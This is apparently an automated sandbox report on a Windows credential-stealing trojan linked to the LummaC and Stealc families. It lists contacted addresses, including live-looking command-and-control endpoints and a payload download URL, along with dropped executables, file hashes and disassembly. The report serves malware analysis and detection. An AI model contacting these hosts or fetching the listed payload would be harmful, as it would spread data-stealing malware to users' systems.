https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	false	high
http://store.steampowered.com/subscriber_agreement/	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.206/c4becf79229cb002.phpn	O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/apil	BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://necklacebudi.lat/api	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CC4000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://steamcommunity.com/discussions/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/stats/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/steam_refunds/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.c.lencr.org/0	BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/0	BVGvbpplT8.exe, 00000001.00000003.2318164632.0000000005C28000.00000004.00000800.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://steamcommunity.com/workshop/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.mozilla.org/products/firefoxgro.all	BVGvbpplT8.exe, 00000001.00000003.2320260078.0000000005CF8000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://store.steampowered.com/legal/	BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CBE000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.mozilla.or	BVGvbpplT8.exe, 00000001.00000003.2319638464.0000000005C24000.00000004.00000800.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exeT	BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/c4becf79229cb002.phpRE	O215CKAM4VJZ3EV7.exe, 0000000E.00000002.2628879138.0000000000D96000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	BVGvbpplT8.exe, 00000001.00000003.2256303149.0000000005C1A000.00000004.00000800.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2256190515.0000000005C1D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	BVGvbpplT8.exe, 00000001.00000003.2343355537.0000000005BD9000.00000004.00000800.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://185.215.113.16/steam/random.exe	BVGvbpplT8.exe, 00000001.00000003.2467790172.0000000000D5F000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/api0	BVGvbpplT8.exe, 00000001.00000003.2370407787.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2410417568.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2370543743.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2228548253.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp, BVGvbpplT8.exe, 00000001.00000003.2348964663.0000000000CF7000.00000004.00000020.00020000.00000000.sdmp	false	unknown
https://store.steampowered.com/	BVGvbpplT8.exe, 00000001.00000003.2228499656.0000000000D4E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://lev-tolstoi.com/J	BVGvbpplT8.exe, 00000001.00000003.2410612554.0000000000CF6000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.66.86	lev-tolstoi.com	United States	13335	CLOUDFLARENETUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1579779
Start date and time:	2024-12-23 08:59:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	BVGvbpplT8.exe renamed because original name is a hash value
Original Sample Name:	6cc52eb35f095e2a0e4df669c998af29.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/3@11/4
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 52.165.164.15, 20.190.181.0, 20.223.36.55, 2.16.158.27, 13.107.246.63, 172.202.163.200, 150.171.28.10, 20.223.35.26
Excluded domains from analysis (whitelisted): www.bing.com, client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, tse1.mm.bing.net, g.bing.com, arc.msn.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target BVGvbpplT8.exe, PID 4060 because there are no executed function
Execution Graph export aborted for target O215CKAM4VJZ3EV7.exe, PID 8020 because there are no executed function
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:00:07	API Interceptor	68x Sleep call for process: BVGvbpplT8.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.66.86	MV ROCKET_PDA.exe	Get hash	malicious	FormBook	Browse	www.ayushigangwar.com/nqn4/?CJBlp=0Brh6Vr8UbBX&T2MpwT=59bmqUDXor7TXV4b71NCQ0d0nCVif23i1yH5+9ZmJc5hgCU7y+ZN9z0btTsWzGv6OrGw
104.102.49.254	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	/ISteamUser/GetFriendList/v1/?key=AE2AE4DBF33A541E83BC08989DB1F397&steamid=76561198400860497
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
lev-tolstoi.com	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.157.254
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	xxLuwS60RS.exe	Get hash	malicious	LummaC	Browse	172.67.157.254
	5RjjCWZAVv.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86
	TmmiCE5Ulm.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
steamcommunity.com	613vKYuY2S.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	44EPDJT1V8.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	104.102.49.254
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	OGBLsboKIF.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	NfwBtCx5PR.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
	pJRiqnTih0.exe	Get hash	malicious	LummaC	Browse	23.55.153.106
fp2e7a.wpc.phicdn.net	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	192.229.221.95
	dnf5RWZv2v.exe	Get hash	malicious	Unknown	Browse	192.229.221.95
	crhRJnVd08.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	192.229.221.95
	xWnpPJbKGK.exe	Get hash	malicious	Cryptbot	Browse	192.229.221.95
	skIYOAOzvU.exe	Get hash	malicious	LummaC	Browse	192.229.221.95
	1fgVMJOnF0.exe	Get hash	malicious	Cryptbot	Browse	192.229.221.95
	cred64.dll.dll	Get hash	malicious	Amadey	Browse	192.229.221.95
	tg.exe	Get hash	malicious	Babadeda	Browse	192.229.221.95
	iepdf32.dll	Get hash	malicious	Unknown	Browse	192.229.221.95
ax-0001.ax-msedge.net	613vKYuY2S.exe	Get hash	malicious	LummaC	Browse	150.171.28.10
	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	150.171.28.10
	vRWw6y4Pj2.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	2E814B7D-3F0B-4AF7-8C7C-C8AE7CD57525_12172024125634383.dll	Get hash	malicious	Unknown	Browse	150.171.28.10
	fKdiT1D1dk.exe	Get hash	malicious	RHADAMANTHYS	Browse	150.171.27.10
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Vidar, Xmrig	Browse	150.171.28.10
	uDTW3VjJJT.exe	Get hash	malicious	LummaC, Stealc	Browse	150.171.27.10
	BB4S2ErvqK.exe	Get hash	malicious	LummaC	Browse	150.171.28.10
	hvm4oOzDaX.exe	Get hash	malicious	Unknown	Browse	150.171.27.10
	SWIFT.xls	Get hash	malicious	Unknown	Browse	150.171.27.10

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0OkLsJL2Bn.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	0HdDuWzp54.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	NE4jxHLxXJ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	U8mbM8r793.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	ABnDy7rLFS.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	s31ydU1MpQ.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
AKAMAI-ASUS	613vKYuY2S.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	YYjRtxS70h.exe	Get hash	malicious	Unknown	Browse	104.102.49.254
	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	44EPDJT1V8.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	104.102.49.254
	r4xiHKy8aM.exe	Get hash	malicious	Socks5Systemz	Browse	104.102.49.254
	armv4l.elf	Get hash	malicious	Unknown	Browse	23.222.144.153
	loligang.sh4.elf	Get hash	malicious	Mirai	Browse	104.72.108.202
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	23.79.17.106
	arm7.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.217.44.145
CLOUDFLARENETUS	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.32.96
	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.157.254
	nTyPEbq9wQ.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	104.21.66.86
	QQ5BxgG5G6.exe	Get hash	malicious	LummaC	Browse	104.21.32.96
	FjFeChttqA.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	172.67.150.173
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse	172.67.150.173

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	613vKYuY2S.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86 104.102.49.254
	mgEXk8ip26.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	44EPDJT1V8.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.66.86 104.102.49.254
	jSFUzuYPG9.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	HK8IIasL9i.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	QQ5BxgG5G6.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	FjFeChttqA.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254
	mG83m82qhF.exe	Get hash	malicious	LummaC	Browse	104.21.66.86 104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse
C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	FBVmDbz2nb.exe	Get hash	malicious	LummaC, Stealc	Browse
	Bire1g8ahY.exe	Get hash	malicious	LummaC, Stealc	Browse
	w23Vg439U1.exe	Get hash	malicious	LummaC, Stealc	Browse
	pfY4k1qisn.exe	Get hash	malicious	LummaC, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\44WNAJWW05E0258PKFVID8DSXYO93MX.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe

Download File

Process:	C:\Users\user\Desktop\BVGvbpplT8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2765312
Entropy (8bit):	6.472048555078744
Encrypted:	false
SSDEEP:	49152:7BHOMBnHvofpeKjh8RoNjIS1q4G0cL0+3JLmswbFze:71OMBnHvoUKaRoJIS1q4GNwFze
MD5:	579641D4119C3977AA3E5FDCBB740D8B
SHA1:	F1AAC5BF32B9121D64D71B41A0493525862AE82D
SHA-256:	2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
SHA-512:	50793412314B014BD779FC76AB1D59A87C6ED0DECD4550FF0C90190E53FFDA014EA51EC63B6D9C4B2A9D12B5341A19A079EB95A44DF5AC1E414C40BAB72D2094
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: FBVmDbz2nb.exe, Detection: malicious, Browse Filename: Bire1g8ahY.exe, Detection: malicious, Browse Filename: w23Vg439U1.exe, Detection: malicious, Browse Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$.............. ...`....@.. ..................................`.................................U...i....`..D........................................................................................................... . .@... ...@... ..............@....rsrc...D....`.......`..............@....idata . ...........f..............@...brdofphe..).......)..h..............@...pzoalvov. ...`....................@....taggant.@......"....*.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe

Download File

Process:	C:\Users\user\Desktop\BVGvbpplT8.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2835456
Entropy (8bit):	6.4743871893569205
Encrypted:	false
SSDEEP:	49152:kSmc33xGO68K1vu9T+TS6fZ0pZxvPFfJi+1hSdY:kRqhG5P1vu9T+m6fZ2xvNj1hSdY
MD5:	59729E914FA8E15D347129643C03AC1F
SHA1:	80ACB4BE6A6534FB8DE67CAAFEE13A03D9E15754
SHA-256:	E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
SHA-512:	B592B27B3DB5B041D1D45B206239FFD4B37C051AEB6EA0E74E57623920E15CB18F12696E596EAEB5788D57629917F9D8324C588EF8A62D6F470173795CA79B36
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Joe Sandbox View:	Filename: FBVmDbz2nb.exe, Detection: malicious, Browse Filename: Bire1g8ahY.exe, Detection: malicious, Browse Filename: w23Vg439U1.exe, Detection: malicious, Browse Filename: pfY4k1qisn.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......pN...........@...........................N......L+...@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@...ynqricro..)...$...)..\|..............@...wjlvyldl.....`N.......+.............@....taggant.0...pN.."..."+.............@...........................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.948234307076922
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	BVGvbpplT8.exe
File size:	1'874'432 bytes
MD5:	6cc52eb35f095e2a0e4df669c998af29
SHA1:	82c35ea91513438ca6208b5b41e33bb94ff858d7
SHA256:	6c9ffc9867092f84baf32fb0fe858b1258df4d371ef2c67c2795e947927d9e7f
SHA512:	d7d64e55580e02605ab407c36a2798d391e9b3ff82c54c82fcf2331580965d5ef8c091b73aa83d3828d64f6cef5b05f6891a81a28df6b00a8d80d4a16b3a5215
SSDEEP:	49152:nJfy8ovgfvukELeEvdTrVOVY+CbVq9N4G:nFy3SnEHTrVmeVq9eG
TLSH:	8A85339A8C66A802CD24C57780EE620FEB3952150FD4CB9EF71C1DB4DC7B2455AA62CF
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....<_g..............................J...........@...........................J......V....@.................................T0..h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8a8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x675F3CD1 [Sun Dec 15 20:32:17 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAAF8B7149Ah
vmread dword ptr [eax+eax], ebx
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FAAF8B73495h
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sub byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
sbb al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x53054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x52000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x531f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
